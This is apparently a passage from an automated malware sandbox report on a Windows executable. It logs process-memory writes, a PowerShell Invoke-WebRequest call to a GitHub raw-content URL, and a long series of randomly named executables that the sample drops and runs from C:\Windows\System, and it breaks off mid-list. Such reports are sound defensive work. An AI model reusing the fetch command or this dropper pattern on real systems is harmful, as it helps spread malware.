PID 4332 wrote to memory of 3368	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	103
PID 4332 wrote to memory of 2796	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	104
PID 4332 wrote to memory of 2796	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	104
PID 4332 wrote to memory of 4988	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	105
PID 4332 wrote to memory of 4988	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	105
PID 4332 wrote to memory of 756	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	106
PID 4332 wrote to memory of 756	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	106
PID 4332 wrote to memory of 4860	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	107
PID 4332 wrote to memory of 4860	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	107
PID 4332 wrote to memory of 2568	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	108
PID 4332 wrote to memory of 2568	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	108
PID 4332 wrote to memory of 4500	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	109
PID 4332 wrote to memory of 4500	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	109
PID 4332 wrote to memory of 1124	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	110
PID 4332 wrote to memory of 1124	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	110
PID 4332 wrote to memory of 3136	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	111
PID 4332 wrote to memory of 3136	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	111
PID 4332 wrote to memory of 1652	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	112
PID 4332 wrote to memory of 1652	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	112
PID 4332 wrote to memory of 1896	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	113
PID 4332 wrote to memory of 1896	4332	465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe	113

C:\Users\Admin\AppData\Local\Temp\465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\465c8008eb29f39282e54e2ab338214891c0aeb18c15156102c8d0c90c992b65_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\System\lNNzYID.exe
  C:\Windows\System\lNNzYID.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\eQtENRN.exe
  C:\Windows\System\eQtENRN.exe
  2⤵
  - Executes dropped EXE
  PID:4904
- C:\Windows\System\AvTaCXX.exe
  C:\Windows\System\AvTaCXX.exe
  2⤵
  - Executes dropped EXE
  PID:4304
- C:\Windows\System\xskkupC.exe
  C:\Windows\System\xskkupC.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\RuLiWkf.exe
  C:\Windows\System\RuLiWkf.exe
  2⤵
  - Executes dropped EXE
  PID:1440
- C:\Windows\System\WKHDome.exe
  C:\Windows\System\WKHDome.exe
  2⤵
  - Executes dropped EXE
  PID:3692
- C:\Windows\System\LUWVoRP.exe
  C:\Windows\System\LUWVoRP.exe
  2⤵
  - Executes dropped EXE
  PID:3352
- C:\Windows\System\NxTWQLz.exe
  C:\Windows\System\NxTWQLz.exe
  2⤵
  - Executes dropped EXE
  PID:244
- C:\Windows\System\iUEtfNk.exe
  C:\Windows\System\iUEtfNk.exe
  2⤵
  - Executes dropped EXE
  PID:3636
- C:\Windows\System\FGpxJpF.exe
  C:\Windows\System\FGpxJpF.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\phsNfOg.exe
  C:\Windows\System\phsNfOg.exe
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Windows\System\mfbMNrE.exe
  C:\Windows\System\mfbMNrE.exe
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Windows\System\VEgJYAN.exe
  C:\Windows\System\VEgJYAN.exe
  2⤵
  - Executes dropped EXE
  PID:3292
- C:\Windows\System\KUuTiyt.exe
  C:\Windows\System\KUuTiyt.exe
  2⤵
  - Executes dropped EXE
  PID:2740
- C:\Windows\System\wnlJjNc.exe
  C:\Windows\System\wnlJjNc.exe
  2⤵
  - Executes dropped EXE
  PID:612
- C:\Windows\System\SmQDXHj.exe
  C:\Windows\System\SmQDXHj.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\SxxHczm.exe
  C:\Windows\System\SxxHczm.exe
  2⤵
  - Executes dropped EXE
  PID:4628
- C:\Windows\System\OFfbmjE.exe
  C:\Windows\System\OFfbmjE.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\FxiVnPt.exe
  C:\Windows\System\FxiVnPt.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\WOemIoJ.exe
  C:\Windows\System\WOemIoJ.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\vDIUxiW.exe
  C:\Windows\System\vDIUxiW.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\MlGxCOW.exe
  C:\Windows\System\MlGxCOW.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\VKPzBeL.exe
  C:\Windows\System\VKPzBeL.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\nQTIDaY.exe
  C:\Windows\System\nQTIDaY.exe
  2⤵
  - Executes dropped EXE
  PID:756
- C:\Windows\System\BZdOUyh.exe
  C:\Windows\System\BZdOUyh.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\WwNOeJT.exe
  C:\Windows\System\WwNOeJT.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\uxJPbaT.exe
  C:\Windows\System\uxJPbaT.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\worLSiU.exe
  C:\Windows\System\worLSiU.exe
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Windows\System\FOFYZIl.exe
  C:\Windows\System\FOFYZIl.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\uCcUFcV.exe
  C:\Windows\System\uCcUFcV.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\lwgwsmF.exe
  C:\Windows\System\lwgwsmF.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\xVmJGOi.exe
  C:\Windows\System\xVmJGOi.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\System\CoZcOix.exe
  C:\Windows\System\CoZcOix.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\MNCLbfQ.exe
  C:\Windows\System\MNCLbfQ.exe
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\Windows\System\PpJriuf.exe
  C:\Windows\System\PpJriuf.exe
  2⤵
  - Executes dropped EXE
  PID:1284
- C:\Windows\System\pdGkvGm.exe
  C:\Windows\System\pdGkvGm.exe
  2⤵
  - Executes dropped EXE
  PID:3948
- C:\Windows\System\UPJbGsY.exe
  C:\Windows\System\UPJbGsY.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\pImnpRN.exe
  C:\Windows\System\pImnpRN.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Windows\System\MEkhWXl.exe
  C:\Windows\System\MEkhWXl.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\fOuEqyf.exe
  C:\Windows\System\fOuEqyf.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\hQybnQz.exe
  C:\Windows\System\hQybnQz.exe
  2⤵
  - Executes dropped EXE
  PID:4424
- C:\Windows\System\dkSCIWQ.exe
  C:\Windows\System\dkSCIWQ.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System\YqKcOAB.exe
  C:\Windows\System\YqKcOAB.exe
  2⤵
  - Executes dropped EXE
  PID:3688
- C:\Windows\System\BLIRBcI.exe
  C:\Windows\System\BLIRBcI.exe
  2⤵
  - Executes dropped EXE
  PID:3324
- C:\Windows\System\ZgrrzpY.exe
  C:\Windows\System\ZgrrzpY.exe
  2⤵
  - Executes dropped EXE
  PID:4676
- C:\Windows\System\ImJsKaW.exe
  C:\Windows\System\ImJsKaW.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\AyATOCQ.exe
  C:\Windows\System\AyATOCQ.exe
  2⤵
  - Executes dropped EXE
  PID:1924
- C:\Windows\System\uUpJNaN.exe
  C:\Windows\System\uUpJNaN.exe
  2⤵
  - Executes dropped EXE
  PID:4348
- C:\Windows\System\AkThZOX.exe
  C:\Windows\System\AkThZOX.exe
  2⤵
  - Executes dropped EXE
  PID:4680
- C:\Windows\System\IafHKjN.exe
  C:\Windows\System\IafHKjN.exe
  2⤵
  - Executes dropped EXE
  PID:4760
- C:\Windows\System\VkPjuhh.exe
  C:\Windows\System\VkPjuhh.exe
  2⤵
  - Executes dropped EXE
  PID:432
- C:\Windows\System\lAjVVjx.exe
  C:\Windows\System\lAjVVjx.exe
  2⤵
  - Executes dropped EXE
  PID:3992
- C:\Windows\System\bIeeQLc.exe
  C:\Windows\System\bIeeQLc.exe
  2⤵
  - Executes dropped EXE
  PID:4024
- C:\Windows\System\xqnoyGz.exe
  C:\Windows\System\xqnoyGz.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\PuywxJl.exe
  C:\Windows\System\PuywxJl.exe
  2⤵
  - Executes dropped EXE
  PID:804
- C:\Windows\System\KmofXjH.exe
  C:\Windows\System\KmofXjH.exe
  2⤵
  - Executes dropped EXE
  PID:5012
- C:\Windows\System\Jeyvokz.exe
  C:\Windows\System\Jeyvokz.exe
  2⤵
  - Executes dropped EXE
  PID:4028
- C:\Windows\System\jqauoPK.exe
  C:\Windows\System\jqauoPK.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\OKqOJNX.exe
  C:\Windows\System\OKqOJNX.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\BnCNjND.exe
  C:\Windows\System\BnCNjND.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\gpPfqiK.exe
  C:\Windows\System\gpPfqiK.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\IwPHIJP.exe
  C:\Windows\System\IwPHIJP.exe
  2⤵
  - Executes dropped EXE
  PID:5072
- C:\Windows\System\nexsjDz.exe
  C:\Windows\System\nexsjDz.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\KjmvMuE.exe
  C:\Windows\System\KjmvMuE.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\rOWkMCm.exe
  C:\Windows\System\rOWkMCm.exe
  2⤵
  PID:404
- C:\Windows\System\rkkoaBe.exe
  C:\Windows\System\rkkoaBe.exe
  2⤵
  PID:4488
- C:\Windows\System\vNYtPuG.exe
  C:\Windows\System\vNYtPuG.exe
  2⤵
  PID:4388
- C:\Windows\System\BeGkcNd.exe
  C:\Windows\System\BeGkcNd.exe
  2⤵
  PID:3264
- C:\Windows\System\zloWpnf.exe
  C:\Windows\System\zloWpnf.exe
  2⤵
  PID:1232
- C:\Windows\System\pRPAxat.exe
  C:\Windows\System\pRPAxat.exe
  2⤵
  PID:3220
- C:\Windows\System\YrGDrTP.exe
  C:\Windows\System\YrGDrTP.exe
  2⤵
  PID:2028
- C:\Windows\System\FLJSbcU.exe
  C:\Windows\System\FLJSbcU.exe
  2⤵
  PID:4280
- C:\Windows\System\wgnFkqB.exe
  C:\Windows\System\wgnFkqB.exe
  2⤵
  PID:1128
- C:\Windows\System\PKjWWWI.exe
  C:\Windows\System\PKjWWWI.exe
  2⤵
  PID:4884
- C:\Windows\System\gVJEShr.exe
  C:\Windows\System\gVJEShr.exe
  2⤵
  PID:5040
- C:\Windows\System\jaZdlJe.exe
  C:\Windows\System\jaZdlJe.exe
  2⤵
  PID:1448
- C:\Windows\System\FZEETup.exe
  C:\Windows\System\FZEETup.exe
  2⤵
  PID:4312
- C:\Windows\System\Pprenpp.exe
  C:\Windows\System\Pprenpp.exe
  2⤵
  PID:2440
- C:\Windows\System\XKKwXbD.exe
  C:\Windows\System\XKKwXbD.exe
  2⤵
  PID:2816
- C:\Windows\System\IJIOFOG.exe
  C:\Windows\System\IJIOFOG.exe
  2⤵
  PID:1420
- C:\Windows\System\hstpdUY.exe
  C:\Windows\System\hstpdUY.exe
  2⤵
  PID:4892
- C:\Windows\System\VwKXpJg.exe
  C:\Windows\System\VwKXpJg.exe
  2⤵
  PID:1516
- C:\Windows\System\wXFJMqZ.exe
  C:\Windows\System\wXFJMqZ.exe
  2⤵
  PID:3616
- C:\Windows\System\BvMhpps.exe
  C:\Windows\System\BvMhpps.exe
  2⤵
  PID:4792
- C:\Windows\System\FcDGZyR.exe
  C:\Windows\System\FcDGZyR.exe
  2⤵
  PID:2172
- C:\Windows\System\UwvYgKA.exe
  C:\Windows\System\UwvYgKA.exe
  2⤵
  PID:4660
- C:\Windows\System\tDDvvja.exe
  C:\Windows\System\tDDvvja.exe
  2⤵
  PID:436
- C:\Windows\System\ROMQEsV.exe
  C:\Windows\System\ROMQEsV.exe
  2⤵
  PID:2252
- C:\Windows\System\sSbDkni.exe
  C:\Windows\System\sSbDkni.exe
  2⤵
  PID:1452
- C:\Windows\System\TQzIiwf.exe
  C:\Windows\System\TQzIiwf.exe
  2⤵
  PID:2704
- C:\Windows\System\nmyHpla.exe
  C:\Windows\System\nmyHpla.exe
  2⤵
  PID:1820
- C:\Windows\System\wScTBUK.exe
  C:\Windows\System\wScTBUK.exe
  2⤵
  PID:5140
- C:\Windows\System\LBEzfoM.exe
  C:\Windows\System\LBEzfoM.exe
  2⤵
  PID:5168
- C:\Windows\System\xYfohni.exe
  C:\Windows\System\xYfohni.exe
  2⤵
  PID:5192
- C:\Windows\System\NMzTCrH.exe
  C:\Windows\System\NMzTCrH.exe
  2⤵
  PID:5220
- C:\Windows\System\naMHKeH.exe
  C:\Windows\System\naMHKeH.exe
  2⤵
  PID:5304
- C:\Windows\System\AwpJCFs.exe
  C:\Windows\System\AwpJCFs.exe
  2⤵
  PID:5332
- C:\Windows\System\XWFQisu.exe
  C:\Windows\System\XWFQisu.exe
  2⤵
  PID:5384
- C:\Windows\System\YzayCfP.exe
  C:\Windows\System\YzayCfP.exe
  2⤵
  PID:5400
- C:\Windows\System\mjfohWN.exe
  C:\Windows\System\mjfohWN.exe
  2⤵
  PID:5428
- C:\Windows\System\VYEqdqE.exe
  C:\Windows\System\VYEqdqE.exe
  2⤵
  PID:5460
- C:\Windows\System\IGZdzmI.exe
  C:\Windows\System\IGZdzmI.exe
  2⤵
  PID:5480
- C:\Windows\System\IQBtVnK.exe
  C:\Windows\System\IQBtVnK.exe
  2⤵
  PID:5500
- C:\Windows\System\pgMZvlp.exe
  C:\Windows\System\pgMZvlp.exe
  2⤵
  PID:5520
- C:\Windows\System\YhSXncG.exe
  C:\Windows\System\YhSXncG.exe
  2⤵
  PID:5568
- C:\Windows\System\neyqaCW.exe
  C:\Windows\System\neyqaCW.exe
  2⤵
  PID:5596
- C:\Windows\System\nldOJPX.exe
  C:\Windows\System\nldOJPX.exe
  2⤵
  PID:5636
- C:\Windows\System\UcSQNcE.exe
  C:\Windows\System\UcSQNcE.exe
  2⤵
  PID:5668
- C:\Windows\System\SxfYVYU.exe
  C:\Windows\System\SxfYVYU.exe
  2⤵
  PID:5688
- C:\Windows\System\zEGlfTc.exe
  C:\Windows\System\zEGlfTc.exe
  2⤵
  PID:5708
- C:\Windows\System\jkzNyQb.exe
  C:\Windows\System\jkzNyQb.exe
  2⤵
  PID:5740
- C:\Windows\System\vVLPQkD.exe
  C:\Windows\System\vVLPQkD.exe
  2⤵
  PID:5768
- C:\Windows\System\gJajTDB.exe
  C:\Windows\System\gJajTDB.exe
  2⤵
  PID:5796
- C:\Windows\System\MGZDoyO.exe
  C:\Windows\System\MGZDoyO.exe
  2⤵
  PID:5836
- C:\Windows\System\OHGgWhi.exe
  C:\Windows\System\OHGgWhi.exe
  2⤵
  PID:5860
- C:\Windows\System\kAxjnHc.exe
  C:\Windows\System\kAxjnHc.exe
  2⤵
  PID:5888
- C:\Windows\System\NHgeVWC.exe
  C:\Windows\System\NHgeVWC.exe
  2⤵
  PID:5908
- C:\Windows\System\VBjxVtZ.exe
  C:\Windows\System\VBjxVtZ.exe
  2⤵
  PID:5928
- C:\Windows\System\VgzqTEe.exe
  C:\Windows\System\VgzqTEe.exe
  2⤵
  PID:5980
- C:\Windows\System\VElPXPV.exe
  C:\Windows\System\VElPXPV.exe
  2⤵
  PID:6000
- C:\Windows\System\DtFmjgC.exe
  C:\Windows\System\DtFmjgC.exe
  2⤵
  PID:6020
- C:\Windows\System\EYNGYFt.exe
  C:\Windows\System\EYNGYFt.exe
  2⤵
  PID:6044
- C:\Windows\System\XRZwoCx.exe
  C:\Windows\System\XRZwoCx.exe
  2⤵
  PID:6072
- C:\Windows\System\rJIupCD.exe
  C:\Windows\System\rJIupCD.exe
  2⤵
  PID:6092
- C:\Windows\System\zdiiWHW.exe
  C:\Windows\System\zdiiWHW.exe
  2⤵
  PID:6112
- C:\Windows\System\FjwJbmR.exe
  C:\Windows\System\FjwJbmR.exe
  2⤵
  PID:5064
- C:\Windows\System\IJyTRph.exe
  C:\Windows\System\IJyTRph.exe
  2⤵
  PID:1424
- C:\Windows\System\MuykwZU.exe
  C:\Windows\System\MuykwZU.exe
  2⤵
  PID:5264
- C:\Windows\System\yCtFSpo.exe
  C:\Windows\System\yCtFSpo.exe
  2⤵
  PID:5180
- C:\Windows\System\jdMFcDc.exe
  C:\Windows\System\jdMFcDc.exe
  2⤵
  PID:4752
- C:\Windows\System\yPiFCQn.exe
  C:\Windows\System\yPiFCQn.exe
  2⤵
  PID:4140
- C:\Windows\System\KbKfAZH.exe
  C:\Windows\System\KbKfAZH.exe
  2⤵
  PID:808
- C:\Windows\System\jkVvdMZ.exe
  C:\Windows\System\jkVvdMZ.exe
  2⤵
  PID:1888
- C:\Windows\System\IHwFZjI.exe
  C:\Windows\System\IHwFZjI.exe
  2⤵
  PID:1020
- C:\Windows\System\XAFZKcB.exe
  C:\Windows\System\XAFZKcB.exe
  2⤵
  PID:4108
- C:\Windows\System\kdvgzMz.exe
  C:\Windows\System\kdvgzMz.exe
  2⤵
  PID:5296
- C:\Windows\System\KOLjwAW.exe
  C:\Windows\System\KOLjwAW.exe
  2⤵
  PID:5368
- C:\Windows\System\UNIdPBs.exe
  C:\Windows\System\UNIdPBs.exe
  2⤵
  PID:5468
- C:\Windows\System\ZlixBPc.exe
  C:\Windows\System\ZlixBPc.exe
  2⤵
  PID:5516
- C:\Windows\System\Jwoysck.exe
  C:\Windows\System\Jwoysck.exe
  2⤵
  PID:5608
- C:\Windows\System\DSAtAzi.exe
  C:\Windows\System\DSAtAzi.exe
  2⤵
  PID:560
- C:\Windows\System\MXpwHZZ.exe
  C:\Windows\System\MXpwHZZ.exe
  2⤵
  PID:5676
- C:\Windows\System\GQwVtGS.exe
  C:\Windows\System\GQwVtGS.exe
  2⤵
  PID:5736
- C:\Windows\System\UUMLpor.exe
  C:\Windows\System\UUMLpor.exe
  2⤵
  PID:5760
- C:\Windows\System\dkWiYOi.exe
  C:\Windows\System\dkWiYOi.exe
  2⤵
  PID:5856
- C:\Windows\System\SYAnFtx.exe
  C:\Windows\System\SYAnFtx.exe
  2⤵
  PID:1352
- C:\Windows\System\GGPLjvT.exe
  C:\Windows\System\GGPLjvT.exe
  2⤵
  PID:5904
- C:\Windows\System\yOlnQiv.exe
  C:\Windows\System\yOlnQiv.exe
  2⤵
  PID:5972
- C:\Windows\System\WKHKmQy.exe
  C:\Windows\System\WKHKmQy.exe
  2⤵
  PID:6064
- C:\Windows\System\FuHRpZO.exe
  C:\Windows\System\FuHRpZO.exe
  2⤵
  PID:6136
- C:\Windows\System\yqZuUwU.exe
  C:\Windows\System\yqZuUwU.exe
  2⤵
  PID:4968
- C:\Windows\System\mPpNnlH.exe
  C:\Windows\System\mPpNnlH.exe
  2⤵
  PID:5216
- C:\Windows\System\ByPvGFL.exe
  C:\Windows\System\ByPvGFL.exe
  2⤵
  PID:4880
- C:\Windows\System\rUVzauI.exe
  C:\Windows\System\rUVzauI.exe
  2⤵
  PID:1512
- C:\Windows\System\PGXtoJv.exe
  C:\Windows\System\PGXtoJv.exe
  2⤵
  PID:5392
- C:\Windows\System\QRXprzY.exe
  C:\Windows\System\QRXprzY.exe
  2⤵
  PID:5492
- C:\Windows\System\nBnDtCN.exe
  C:\Windows\System\nBnDtCN.exe
  2⤵
  PID:5684
- C:\Windows\System\lUVgEyd.exe
  C:\Windows\System\lUVgEyd.exe
  2⤵
  PID:5732
- C:\Windows\System\yasaBlx.exe
  C:\Windows\System\yasaBlx.exe
  2⤵
  PID:5780
- C:\Windows\System\MHNiuMT.exe
  C:\Windows\System\MHNiuMT.exe
  2⤵
  PID:6108
- C:\Windows\System\IHDYBDz.exe
  C:\Windows\System\IHDYBDz.exe
  2⤵
  PID:6028
- C:\Windows\System\jnUJeDp.exe
  C:\Windows\System\jnUJeDp.exe
  2⤵
  PID:5372
- C:\Windows\System\YMXfWOl.exe
  C:\Windows\System\YMXfWOl.exe
  2⤵
  PID:3020
- C:\Windows\System\zSWbWef.exe
  C:\Windows\System\zSWbWef.exe
  2⤵
  PID:5920
- C:\Windows\System\ZlXdpmB.exe
  C:\Windows\System\ZlXdpmB.exe
  2⤵
  PID:2376
- C:\Windows\System\kTsdMXX.exe
  C:\Windows\System\kTsdMXX.exe
  2⤵
  PID:800
- C:\Windows\System\pLYLmue.exe
  C:\Windows\System\pLYLmue.exe
  2⤵
  PID:6148
- C:\Windows\System\hvCsaRN.exe
  C:\Windows\System\hvCsaRN.exe
  2⤵
  PID:6168
- C:\Windows\System\tQHrewx.exe
  C:\Windows\System\tQHrewx.exe
  2⤵
  PID:6188
- C:\Windows\System\DYBDrkW.exe
  C:\Windows\System\DYBDrkW.exe
  2⤵
  PID:6224
- C:\Windows\System\TDEytYG.exe
  C:\Windows\System\TDEytYG.exe
  2⤵
  PID:6240
- C:\Windows\System\ZPzTDlw.exe
  C:\Windows\System\ZPzTDlw.exe
  2⤵
  PID:6268
- C:\Windows\System\WdbZriK.exe
  C:\Windows\System\WdbZriK.exe
  2⤵
  PID:6284
- C:\Windows\System\DPRwuZa.exe
  C:\Windows\System\DPRwuZa.exe
  2⤵
  PID:6336
- C:\Windows\System\HpcuWDe.exe
  C:\Windows\System\HpcuWDe.exe
  2⤵
  PID:6376
- C:\Windows\System\OaQaQVL.exe
  C:\Windows\System\OaQaQVL.exe
  2⤵
  PID:6400
- C:\Windows\System\UFqbENG.exe
  C:\Windows\System\UFqbENG.exe
  2⤵
  PID:6420
- C:\Windows\System\GibkKHN.exe
  C:\Windows\System\GibkKHN.exe
  2⤵
  PID:6448
- C:\Windows\System\hFMmTMJ.exe
  C:\Windows\System\hFMmTMJ.exe
  2⤵
  PID:6464
- C:\Windows\System\tiYVkIj.exe
  C:\Windows\System\tiYVkIj.exe
  2⤵
  PID:6492
- C:\Windows\System\RzgkSPC.exe
  C:\Windows\System\RzgkSPC.exe
  2⤵
  PID:6520
- C:\Windows\System\KedOkpb.exe
  C:\Windows\System\KedOkpb.exe
  2⤵
  PID:6536
- C:\Windows\System\wkSfrLq.exe
  C:\Windows\System\wkSfrLq.exe
  2⤵
  PID:6576
- C:\Windows\System\PdCRDhE.exe
  C:\Windows\System\PdCRDhE.exe
  2⤵
  PID:6632
- C:\Windows\System\lFCbZAZ.exe
  C:\Windows\System\lFCbZAZ.exe
  2⤵
  PID:6652
- C:\Windows\System\vGxMhGU.exe
  C:\Windows\System\vGxMhGU.exe
  2⤵
  PID:6688
- C:\Windows\System\ynUgbSp.exe
  C:\Windows\System\ynUgbSp.exe
  2⤵
  PID:6712
- C:\Windows\System\FeoqeaL.exe
  C:\Windows\System\FeoqeaL.exe
  2⤵
  PID:6736
- C:\Windows\System\xRUDrmz.exe
  C:\Windows\System\xRUDrmz.exe
  2⤵
  PID:6764
- C:\Windows\System\TESqpDf.exe
  C:\Windows\System\TESqpDf.exe
  2⤵
  PID:6788
- C:\Windows\System\peKxOGH.exe
  C:\Windows\System\peKxOGH.exe
  2⤵
  PID:6812
- C:\Windows\System\wGhlFyT.exe
  C:\Windows\System\wGhlFyT.exe
  2⤵
  PID:6832
- C:\Windows\System\dAmUCIT.exe
  C:\Windows\System\dAmUCIT.exe
  2⤵
  PID:6856
- C:\Windows\System\VqnsWYI.exe
  C:\Windows\System\VqnsWYI.exe
  2⤵
  PID:6876
- C:\Windows\System\SITncwp.exe
  C:\Windows\System\SITncwp.exe
  2⤵
  PID:6920
- C:\Windows\System\EFoKGBF.exe
  C:\Windows\System\EFoKGBF.exe
  2⤵
  PID:6940
- C:\Windows\System\PgahVwh.exe
  C:\Windows\System\PgahVwh.exe
  2⤵
  PID:6956
- C:\Windows\System\cGmtPsX.exe
  C:\Windows\System\cGmtPsX.exe
  2⤵
  PID:6980
- C:\Windows\System\SUxhvpQ.exe
  C:\Windows\System\SUxhvpQ.exe
  2⤵
  PID:7004
- C:\Windows\System\agdDsZE.exe
  C:\Windows\System\agdDsZE.exe
  2⤵
  PID:7024
- C:\Windows\System\VWCsuSy.exe
  C:\Windows\System\VWCsuSy.exe
  2⤵
  PID:7044
- C:\Windows\System\cCZpyWv.exe
  C:\Windows\System\cCZpyWv.exe
  2⤵
  PID:7072
- C:\Windows\System\pqDbFLO.exe
  C:\Windows\System\pqDbFLO.exe
  2⤵
  PID:7096
- C:\Windows\System\rlpWiTF.exe
  C:\Windows\System\rlpWiTF.exe
  2⤵
  PID:7116
- C:\Windows\System\dLgfcWx.exe
  C:\Windows\System\dLgfcWx.exe
  2⤵
  PID:7156
- C:\Windows\System\HAwRmcp.exe
  C:\Windows\System\HAwRmcp.exe
  2⤵
  PID:2620
- C:\Windows\System\jHIWFkN.exe
  C:\Windows\System\jHIWFkN.exe
  2⤵
  PID:3880
- C:\Windows\System\jDHBhje.exe
  C:\Windows\System\jDHBhje.exe
  2⤵
  PID:6372
- C:\Windows\System\WLFeWQz.exe
  C:\Windows\System\WLFeWQz.exe
  2⤵
  PID:6416
- C:\Windows\System\eECZeHo.exe
  C:\Windows\System\eECZeHo.exe
  2⤵
  PID:6532
- C:\Windows\System\GBZlGfz.exe
  C:\Windows\System\GBZlGfz.exe
  2⤵
  PID:6508
- C:\Windows\System\yzvImDm.exe
  C:\Windows\System\yzvImDm.exe
  2⤵
  PID:6624
- C:\Windows\System\GvlaYAw.exe
  C:\Windows\System\GvlaYAw.exe
  2⤵
  PID:6708
- C:\Windows\System\iTAmJVn.exe
  C:\Windows\System\iTAmJVn.exe
  2⤵
  PID:6772
- C:\Windows\System\LvhEUxb.exe
  C:\Windows\System\LvhEUxb.exe
  2⤵
  PID:6784
- C:\Windows\System\tVlvhEo.exe
  C:\Windows\System\tVlvhEo.exe
  2⤵
  PID:6852
- C:\Windows\System\eTFiTrY.exe
  C:\Windows\System\eTFiTrY.exe
  2⤵
  PID:3896
- C:\Windows\System\eImnARP.exe
  C:\Windows\System\eImnARP.exe
  2⤵
  PID:6952
- C:\Windows\System\CzkbDwq.exe
  C:\Windows\System\CzkbDwq.exe
  2⤵
  PID:7036
- C:\Windows\System\wLYPLVV.exe
  C:\Windows\System\wLYPLVV.exe
  2⤵
  PID:6992
- C:\Windows\System\CRBskKv.exe
  C:\Windows\System\CRBskKv.exe
  2⤵
  PID:7080
- C:\Windows\System\JGkXKxJ.exe
  C:\Windows\System\JGkXKxJ.exe
  2⤵
  PID:6128
- C:\Windows\System\kSWvjSf.exe
  C:\Windows\System\kSWvjSf.exe
  2⤵
  PID:6184
- C:\Windows\System\TJWeXsY.exe
  C:\Windows\System\TJWeXsY.exe
  2⤵
  PID:6588
- C:\Windows\System\DNGzbqp.exe
  C:\Windows\System\DNGzbqp.exe
  2⤵
  PID:6680
- C:\Windows\System\Drjcrxl.exe
